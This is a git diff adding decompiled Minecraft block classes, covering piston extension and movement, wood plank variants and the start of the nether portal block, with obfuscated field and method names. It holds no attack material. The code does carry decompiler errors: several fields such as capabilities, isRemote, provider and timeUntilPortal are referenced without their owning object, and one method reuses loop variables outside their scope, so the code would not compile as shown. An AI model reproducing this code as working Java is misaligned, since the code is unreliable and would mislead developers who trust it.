+    return false;
+  }
+  
+
+  private boolean func_176319_a(World worldIn, BlockPos p_176319_2_, EnumFacing p_176319_3_, boolean p_176319_4_)
+  {
+    if (!p_176319_4_)
+    {
+      worldIn.setBlockToAir(p_176319_2_.offset(p_176319_3_));
+    }
+    
+    BlockPistonStructureHelper var5 = new BlockPistonStructureHelper(worldIn, p_176319_2_, p_176319_3_, p_176319_4_);
+    List var6 = var5.func_177254_c();
+    List var7 = var5.func_177252_d();
+    
+    if (!var5.func_177253_a())
+    {
+      return false;
+    }
+    
+
+    int var8 = var6.size() + var7.size();
+    Block[] var9 = new Block[var8];
+    EnumFacing var10 = p_176319_4_ ? p_176319_3_ : p_176319_3_.getOpposite();
+    
+
+
+    for (int var11 = var7.size() - 1; var11 >= 0; var11--)
+    {
+      BlockPos var12 = (BlockPos)var7.get(var11);
+      Block var13 = worldIn.getBlockState(var12).getBlock();
+      var13.dropBlockAsItem(worldIn, var12, worldIn.getBlockState(var12), 0);
+      worldIn.setBlockToAir(var12);
+      var8--;
+      var9[var8] = var13;
+    }
+    
+
+
+    for (var11 = var6.size() - 1; var11 >= 0; var11--)
+    {
+      BlockPos var12 = (BlockPos)var6.get(var11);
+      IBlockState var19 = worldIn.getBlockState(var12);
+      Block var14 = var19.getBlock();
+      var14.getMetaFromState(var19);
+      worldIn.setBlockToAir(var12);
+      var12 = var12.offset(var10);
+      worldIn.setBlockState(var12, Blocks.piston_extension.getDefaultState().withProperty(FACING, p_176319_3_), 4);
+      worldIn.setTileEntity(var12, BlockPistonMoving.func_176423_a(var19, p_176319_3_, p_176319_4_, false));
+      var8--;
+      var9[var8] = var14;
+    }
+    
+    BlockPos var16 = p_176319_2_.offset(p_176319_3_);
+    
+    if (p_176319_4_)
+    {
+      BlockPistonExtension.EnumPistonType var17 = isSticky ? BlockPistonExtension.EnumPistonType.STICKY : BlockPistonExtension.EnumPistonType.DEFAULT;
+      IBlockState var19 = Blocks.piston_head.getDefaultState().withProperty(BlockPistonExtension.field_176326_a, p_176319_3_).withProperty(BlockPistonExtension.field_176325_b, var17);
+      IBlockState var20 = Blocks.piston_extension.getDefaultState().withProperty(BlockPistonMoving.field_176426_a, p_176319_3_).withProperty(BlockPistonMoving.field_176425_b, isSticky ? BlockPistonExtension.EnumPistonType.STICKY : BlockPistonExtension.EnumPistonType.DEFAULT);
+      worldIn.setBlockState(var16, var20, 4);
+      worldIn.setTileEntity(var16, BlockPistonMoving.func_176423_a(var19, p_176319_3_, true, false));
+    }
+    
+
+
+    for (int var18 = var7.size() - 1; var18 >= 0; var18--)
+    {
+      worldIn.notifyNeighborsOfStateChange((BlockPos)var7.get(var18), var9[(var8++)]);
+    }
+    
+    for (var18 = var6.size() - 1; var18 >= 0; var18--)
+    {
+      worldIn.notifyNeighborsOfStateChange((BlockPos)var6.get(var18), var9[(var8++)]);
+    }
+    
+    if (p_176319_4_)
+    {
+      worldIn.notifyNeighborsOfStateChange(var16, Blocks.piston_head);
+      worldIn.notifyNeighborsOfStateChange(p_176319_2_, this);
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+  public IBlockState getStateForEntityRender(IBlockState state)
+  {
+    return getDefaultState().withProperty(FACING, EnumFacing.UP);
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(FACING, func_176317_b(meta)).withProperty(EXTENDED, Boolean.valueOf((meta & 0x8) > 0));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((EnumFacing)state.getValue(FACING)).getIndex();
+    
+    if (((Boolean)state.getValue(EXTENDED)).booleanValue())
+    {
+      var3 |= 0x8;
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new net.minecraft.block.properties.IProperty[] { FACING, EXTENDED });
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_177243_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002037";
+    
+    static
+    {
+      try
+      {
+        field_177243_a[EnumFacing.DOWN.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_177243_a[EnumFacing.UP.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_177243_a[EnumFacing.NORTH.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_177243_a[EnumFacing.SOUTH.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_177243_a[EnumFacing.WEST.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        field_177243_a[EnumFacing.EAST.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockPistonExtension.java b/src/minecraft/net/minecraft/block/BlockPistonExtension.java
new file mode 100644
index 0000000..869ba25
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockPistonExtension.java
@@ -0,0 +1,340 @@
+package net.minecraft.block;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockPistonExtension extends Block
+{
+  public static final PropertyDirection field_176326_a = PropertyDirection.create("facing");
+  public static final PropertyEnum field_176325_b = PropertyEnum.create("type", EnumPistonType.class);
+  public static final PropertyBool field_176327_M = PropertyBool.create("short");
+  private static final String __OBFID = "CL_00000367";
+  
+  public BlockPistonExtension()
+  {
+    super(net.minecraft.block.material.Material.piston);
+    setDefaultState(blockState.getBaseState().withProperty(field_176326_a, EnumFacing.NORTH).withProperty(field_176325_b, EnumPistonType.DEFAULT).withProperty(field_176327_M, Boolean.valueOf(false)));
+    setStepSound(soundTypePiston);
+    setHardness(0.5F);
+  }
+  
+  public void onBlockHarvested(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn)
+  {
+    if (capabilities.isCreativeMode)
+    {
+      EnumFacing var5 = (EnumFacing)state.getValue(field_176326_a);
+      
+      if (var5 != null)
+      {
+        BlockPos var6 = pos.offset(var5.getOpposite());
+        Block var7 = worldIn.getBlockState(var6).getBlock();
+        
+        if ((var7 == Blocks.piston) || (var7 == Blocks.sticky_piston))
+        {
+          worldIn.setBlockToAir(var6);
+        }
+      }
+    }
+    
+    super.onBlockHarvested(worldIn, pos, state, playerIn);
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    super.breakBlock(worldIn, pos, state);
+    EnumFacing var4 = ((EnumFacing)state.getValue(field_176326_a)).getOpposite();
+    pos = pos.offset(var4);
+    IBlockState var5 = worldIn.getBlockState(pos);
+    
+    if (((var5.getBlock() == Blocks.piston) || (var5.getBlock() == Blocks.sticky_piston)) && (((Boolean)var5.getValue(BlockPistonBase.EXTENDED)).booleanValue()))
+    {
+      var5.getBlock().dropBlockAsItem(worldIn, pos, var5, 0);
+      worldIn.setBlockToAir(pos);
+    }
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean canPlaceBlockOnSide(World worldIn, BlockPos pos, EnumFacing side)
+  {
+    return false;
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 0;
+  }
+  
+
+
+
+
+
+  public void addCollisionBoxesToList(World worldIn, BlockPos pos, IBlockState state, AxisAlignedBB mask, List list, Entity collidingEntity)
+  {
+    func_176324_d(state);
+    super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    func_176323_e(state);
+    super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+  }
+  
+  private void func_176323_e(IBlockState p_176323_1_)
+  {
+    float var2 = 0.25F;
+    float var3 = 0.375F;
+    float var4 = 0.625F;
+    float var5 = 0.25F;
+    float var6 = 0.75F;
+    
+    switch (SwitchEnumFacing.field_177247_a[((EnumFacing)p_176323_1_.getValue(field_176326_a)).ordinal()])
+    {
+    case 1: 
+      setBlockBounds(0.375F, 0.25F, 0.375F, 0.625F, 1.0F, 0.625F);
+      break;
+    
+    case 2: 
+      setBlockBounds(0.375F, 0.0F, 0.375F, 0.625F, 0.75F, 0.625F);
+      break;
+    
+    case 3: 
+      setBlockBounds(0.25F, 0.375F, 0.25F, 0.75F, 0.625F, 1.0F);
+      break;
+    
+    case 4: 
+      setBlockBounds(0.25F, 0.375F, 0.0F, 0.75F, 0.625F, 0.75F);
+      break;
+    
+    case 5: 
+      setBlockBounds(0.375F, 0.25F, 0.25F, 0.625F, 0.75F, 1.0F);
+      break;
+    
+    case 6: 
+      setBlockBounds(0.0F, 0.375F, 0.25F, 0.75F, 0.625F, 0.75F);
+    }
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    func_176324_d(access.getBlockState(pos));
+  }
+  
+  public void func_176324_d(IBlockState p_176324_1_)
+  {
+    float var2 = 0.25F;
+    EnumFacing var3 = (EnumFacing)p_176324_1_.getValue(field_176326_a);
+    
+    if (var3 != null)
+    {
+      switch (SwitchEnumFacing.field_177247_a[var3.ordinal()])
+      {
+      case 1: 
+        setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.25F, 1.0F);
+        break;
+      
+      case 2: 
+        setBlockBounds(0.0F, 0.75F, 0.0F, 1.0F, 1.0F, 1.0F);
+        break;
+      
+      case 3: 
+        setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 0.25F);
+        break;
+      
+      case 4: 
+        setBlockBounds(0.0F, 0.0F, 0.75F, 1.0F, 1.0F, 1.0F);
+        break;
+      
+      case 5: 
+        setBlockBounds(0.0F, 0.0F, 0.0F, 0.25F, 1.0F, 1.0F);
+        break;
+      
+      case 6: 
+        setBlockBounds(0.75F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+      }
+    }
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    EnumFacing var5 = (EnumFacing)state.getValue(field_176326_a);
+    BlockPos var6 = pos.offset(var5.getOpposite());
+    IBlockState var7 = worldIn.getBlockState(var6);
+    
+    if ((var7.getBlock() != Blocks.piston) && (var7.getBlock() != Blocks.sticky_piston))
+    {
+      worldIn.setBlockToAir(pos);
+    }
+    else
+    {
+      var7.getBlock().onNeighborBlockChange(worldIn, var6, var7, neighborBlock);
+    }
+  }
+  
+  public boolean shouldSideBeRendered(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    return true;
+  }
+  
+  public static EnumFacing func_176322_b(int p_176322_0_)
+  {
+    int var1 = p_176322_0_ & 0x7;
+    return var1 > 5 ? null : EnumFacing.getFront(var1);
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return worldIn.getBlockState(pos).getValue(field_176325_b) == EnumPistonType.STICKY ? Item.getItemFromBlock(Blocks.sticky_piston) : Item.getItemFromBlock(Blocks.piston);
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176326_a, func_176322_b(meta)).withProperty(field_176325_b, (meta & 0x8) > 0 ? EnumPistonType.STICKY : EnumPistonType.DEFAULT);
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((EnumFacing)state.getValue(field_176326_a)).getIndex();
+    
+    if (state.getValue(field_176325_b) == EnumPistonType.STICKY)
+    {
+      var3 |= 0x8;
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176326_a, field_176325_b, field_176327_M });
+  }
+  
+  public static enum EnumPistonType implements IStringSerializable
+  {
+    DEFAULT("DEFAULT", 0, "normal"), 
+    STICKY("STICKY", 1, "sticky");
+    
+    private final String field_176714_c;
+    private static final EnumPistonType[] $VALUES = { DEFAULT, STICKY };
+    private static final String __OBFID = "CL_00002035";
+    
+    private EnumPistonType(String p_i45666_1_, int p_i45666_2_, String p_i45666_3_)
+    {
+      field_176714_c = p_i45666_3_;
+    }
+    
+    public String toString()
+    {
+      return field_176714_c;
+    }
+    
+    public String getName()
+    {
+      return field_176714_c;
+    }
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_177247_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002036";
+    
+    static
+    {
+      try
+      {
+        field_177247_a[EnumFacing.DOWN.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_177247_a[EnumFacing.UP.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_177247_a[EnumFacing.NORTH.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_177247_a[EnumFacing.SOUTH.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_177247_a[EnumFacing.WEST.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        field_177247_a[EnumFacing.EAST.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockPistonMoving.java b/src/minecraft/net/minecraft/block/BlockPistonMoving.java
new file mode 100644
index 0000000..d29d5da
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockPistonMoving.java
@@ -0,0 +1,315 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityPiston;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockPistonMoving extends BlockContainer
+{
+  public static final PropertyDirection field_176426_a = BlockPistonExtension.field_176326_a;
+  public static final PropertyEnum field_176425_b = BlockPistonExtension.field_176325_b;
+  private static final String __OBFID = "CL_00000368";
+  
+  public BlockPistonMoving()
+  {
+    super(Material.piston);
+    setDefaultState(blockState.getBaseState().withProperty(field_176426_a, EnumFacing.NORTH).withProperty(field_176425_b, BlockPistonExtension.EnumPistonType.DEFAULT));
+    setHardness(-1.0F);
+  }
+  
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
+    return null;
+  }
+  
+  public static TileEntity func_176423_a(IBlockState p_176423_0_, EnumFacing p_176423_1_, boolean p_176423_2_, boolean p_176423_3_)
+  {
+    return new TileEntityPiston(p_176423_0_, p_176423_1_, p_176423_2_, p_176423_3_);
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    TileEntity var4 = worldIn.getTileEntity(pos);
+    
+    if ((var4 instanceof TileEntityPiston))
+    {
+      ((TileEntityPiston)var4).clearPistonTileEntity();
+    }
+    else
+    {
+      super.breakBlock(worldIn, pos, state);
+    }
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean canPlaceBlockOnSide(World worldIn, BlockPos pos, EnumFacing side)
+  {
+    return false;
+  }
+  
+
+
+
+  public void onBlockDestroyedByPlayer(World worldIn, BlockPos pos, IBlockState state)
+  {
+    BlockPos var4 = pos.offset(((EnumFacing)state.getValue(field_176426_a)).getOpposite());
+    IBlockState var5 = worldIn.getBlockState(var4);
+    
+    if (((var5.getBlock() instanceof BlockPistonBase)) && (((Boolean)var5.getValue(BlockPistonBase.EXTENDED)).booleanValue()))
+    {
+      worldIn.setBlockToAir(var4);
+    }
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if ((!isRemote) && (worldIn.getTileEntity(pos) == null))
+    {
+      worldIn.setBlockToAir(pos);
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return null;
+  }
+  
+
+
+
+
+
+
+  public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune)
+  {
+    if (!isRemote)
+    {
+      TileEntityPiston var6 = func_176422_e(worldIn, pos);
+      
+      if (var6 != null)
+      {
+        IBlockState var7 = var6.func_174927_b();
+        var7.getBlock().dropBlockAsItem(worldIn, pos, var7, 0);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public MovingObjectPosition collisionRayTrace(World worldIn, BlockPos pos, Vec3 start, Vec3 end)
+  {
+    return null;
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (!isRemote)
+    {
+      worldIn.getTileEntity(pos);
+    }
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    TileEntityPiston var4 = func_176422_e(worldIn, pos);
+    
+    if (var4 == null)
+    {
+      return null;
+    }
+    
+
+    float var5 = var4.func_145860_a(0.0F);
+    
+    if (var4.isExtending())
+    {
+      var5 = 1.0F - var5;
+    }
+    
+    return func_176424_a(worldIn, pos, var4.func_174927_b(), var5, var4.func_174930_e());
+  }
+  
+
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    TileEntityPiston var3 = func_176422_e(access, pos);
+    
+    if (var3 != null)
+    {
+      IBlockState var4 = var3.func_174927_b();
+      Block var5 = var4.getBlock();
+      
+      if ((var5 == this) || (var5.getMaterial() == Material.air))
+      {
+        return;
+      }
+      
+      float var6 = var3.func_145860_a(0.0F);
+      
+      if (var3.isExtending())
+      {
+        var6 = 1.0F - var6;
+      }
+      
+      var5.setBlockBoundsBasedOnState(access, pos);
+      
+      if ((var5 == Blocks.piston) || (var5 == Blocks.sticky_piston))
+      {
+        var6 = 0.0F;
+      }
+      
+      EnumFacing var7 = var3.func_174930_e();
+      minX = (var5.getBlockBoundsMinX() - var7.getFrontOffsetX() * var6);
+      minY = (var5.getBlockBoundsMinY() - var7.getFrontOffsetY() * var6);
+      minZ = (var5.getBlockBoundsMinZ() - var7.getFrontOffsetZ() * var6);
+      maxX = (var5.getBlockBoundsMaxX() - var7.getFrontOffsetX() * var6);
+      maxY = (var5.getBlockBoundsMaxY() - var7.getFrontOffsetY() * var6);
+      maxZ = (var5.getBlockBoundsMaxZ() - var7.getFrontOffsetZ() * var6);
+    }
+  }
+  
+  public AxisAlignedBB func_176424_a(World worldIn, BlockPos p_176424_2_, IBlockState p_176424_3_, float p_176424_4_, EnumFacing p_176424_5_)
+  {
+    if ((p_176424_3_.getBlock() != this) && (p_176424_3_.getBlock().getMaterial() != Material.air))
+    {
+      AxisAlignedBB var6 = p_176424_3_.getBlock().getCollisionBoundingBox(worldIn, p_176424_2_, p_176424_3_);
+      
+      if (var6 == null)
+      {
+        return null;
+      }
+      
+
+      double var7 = minX;
+      double var9 = minY;
+      double var11 = minZ;
+      double var13 = maxX;
+      double var15 = maxY;
+      double var17 = maxZ;
+      
+      if (p_176424_5_.getFrontOffsetX() < 0)
+      {
+        var7 -= p_176424_5_.getFrontOffsetX() * p_176424_4_;
+      }
+      else
+      {
+        var13 -= p_176424_5_.getFrontOffsetX() * p_176424_4_;
+      }
+      
+      if (p_176424_5_.getFrontOffsetY() < 0)
+      {
+        var9 -= p_176424_5_.getFrontOffsetY() * p_176424_4_;
+      }
+      else
+      {
+        var15 -= p_176424_5_.getFrontOffsetY() * p_176424_4_;
+      }
+      
+      if (p_176424_5_.getFrontOffsetZ() < 0)
+      {
+        var11 -= p_176424_5_.getFrontOffsetZ() * p_176424_4_;
+      }
+      else
+      {
+        var17 -= p_176424_5_.getFrontOffsetZ() * p_176424_4_;
+      }
+      
+      return new AxisAlignedBB(var7, var9, var11, var13, var15, var17);
+    }
+    
+
+
+    return null;
+  }
+  
+
+  private TileEntityPiston func_176422_e(IBlockAccess p_176422_1_, BlockPos p_176422_2_)
+  {
+    TileEntity var3 = p_176422_1_.getTileEntity(p_176422_2_);
+    return (var3 instanceof TileEntityPiston) ? (TileEntityPiston)var3 : null;
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return null;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176426_a, BlockPistonExtension.func_176322_b(meta)).withProperty(field_176425_b, (meta & 0x8) > 0 ? BlockPistonExtension.EnumPistonType.STICKY : BlockPistonExtension.EnumPistonType.DEFAULT);
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((EnumFacing)state.getValue(field_176426_a)).getIndex();
+    
+    if (state.getValue(field_176425_b) == BlockPistonExtension.EnumPistonType.STICKY)
+    {
+      var3 |= 0x8;
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176426_a, field_176425_b });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockPlanks.java b/src/minecraft/net/minecraft/block/BlockPlanks.java
new file mode 100644
index 0000000..749c06e
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockPlanks.java
@@ -0,0 +1,191 @@
+package net.minecraft.block;
+
+import java.util.List;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.IStringSerializable;
+
+public class BlockPlanks extends Block
+{
+  public static final PropertyEnum VARIANT_PROP = PropertyEnum.create("variant", EnumType.class);
+  private static final String __OBFID = "CL_00002082";
+  
+  public BlockPlanks()
+  {
+    super(Material.wood);
+    setDefaultState(blockState.getBaseState().withProperty(VARIANT_PROP, EnumType.OAK));
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((EnumType)state.getValue(VARIANT_PROP)).func_176839_a();
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    EnumType[] var4 = EnumType.values();
+    int var5 = var4.length;
+    
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      EnumType var7 = var4[var6];
+      list.add(new ItemStack(itemIn, 1, var7.func_176839_a()));
+    }
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(VARIANT_PROP, EnumType.func_176837_a(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumType)state.getValue(VARIANT_PROP)).func_176839_a();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { VARIANT_PROP });
+  }
+  
+  public static enum EnumType implements IStringSerializable
+  {
+    OAK("OAK", 0, 0, "oak"), 
+    SPRUCE("SPRUCE", 1, 1, "spruce"), 
+    BIRCH("BIRCH", 2, 2, "birch"), 
+    JUNGLE("JUNGLE", 3, 3, "jungle"), 
+    ACACIA("ACACIA", 4, 4, "acacia"), 
+    DARK_OAK("DARK_OAK", 5, 5, "dark_oak", "big_oak");
+    
+    private static final EnumType[] field_176842_g;
+    private final int field_176850_h;
+    private final String field_176851_i;
+    private final String field_176848_j;
+    private static final EnumType[] $VALUES;
+    private static final String __OBFID = "CL_00002081";
+    
+    private EnumType(String p_i45695_1_, int p_i45695_2_, int p_i45695_3_, String p_i45695_4_)
+    {
+      this(p_i45695_1_, p_i45695_2_, p_i45695_3_, p_i45695_4_, p_i45695_4_);
+    }
+    
+    private EnumType(String p_i45696_1_, int p_i45696_2_, int p_i45696_3_, String p_i45696_4_, String p_i45696_5_)
+    {
+      field_176850_h = p_i45696_3_;
+      field_176851_i = p_i45696_4_;
+      field_176848_j = p_i45696_5_;
+    }
+    
+    public int func_176839_a()
+    {
+      return field_176850_h;
+    }
+    
+    public String toString()
+    {
+      return field_176851_i;
+    }
+    
+    public static EnumType func_176837_a(int p_176837_0_)
+    {
+      if ((p_176837_0_ < 0) || (p_176837_0_ >= field_176842_g.length))
+      {
+        p_176837_0_ = 0;
+      }
+      
+      return field_176842_g[p_176837_0_];
+    }
+    
+    public String getName()
+    {
+      return field_176851_i;
+    }
+    
+    public String func_176840_c()
+    {
+      return field_176848_j;
+    }
+    
+    static
+    {
+      field_176842_g = new EnumType[values().length];
+      
+
+
+
+      $VALUES = new EnumType[] { OAK, SPRUCE, BIRCH, JUNGLE, ACACIA, DARK_OAK };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumType[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumType var3 = var0[var2];
+        field_176842_g[var3.func_176839_a()] = var3;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockPortal.java b/src/minecraft/net/minecraft/block/BlockPortal.java
new file mode 100644
index 0000000..b696b20
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockPortal.java
@@ -0,0 +1,418 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+
+public class BlockPortal extends BlockBreakable
+{
+  public static final PropertyEnum field_176550_a = PropertyEnum.create("axis", EnumFacing.Axis.class, new EnumFacing.Axis[] { EnumFacing.Axis.X, EnumFacing.Axis.Z });
+  private static final String __OBFID = "CL_00000284";
+  
+  public BlockPortal()
+  {
+    super(Material.portal, false);
+    setDefaultState(blockState.getBaseState().withProperty(field_176550_a, EnumFacing.Axis.X));
+    setTickRandomly(true);
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    super.updateTick(worldIn, pos, state, rand);
+    
+    if ((provider.isSurfaceWorld()) && (worldIn.getGameRules().getGameRuleBooleanValue("doMobSpawning")) && (rand.nextInt(2000) < worldIn.getDifficulty().getDifficultyId()))
+    {
+      int var5 = pos.getY();
+      
+
+      for (BlockPos var6 = pos; (!World.doesBlockHaveSolidTopSurface(worldIn, var6)) && (var6.getY() > 0); var6 = var6.offsetDown()) {}
+      
+
+
+
+      if ((var5 > 0) && (!worldIn.getBlockState(var6.offsetUp()).getBlock().isNormalCube()))
+      {
+        Entity var7 = net.minecraft.item.ItemMonsterPlacer.spawnCreature(worldIn, 57, var6.getX() + 0.5D, var6.getY() + 1.1D, var6.getZ() + 0.5D);
+        
+        if (var7 != null)
+        {
+          timeUntilPortal = var7.getPortalCooldown();
+        }
+      }
+    }
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return null;
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    EnumFacing.Axis var3 = (EnumFacing.Axis)access.getBlockState(pos).getValue(field_176550_a);
+    float var4 = 0.125F;
+    float var5 = 0.125F;
+    
+    if (var3 == EnumFacing.Axis.X)
+    {
+      var4 = 0.5F;
+    }
+    
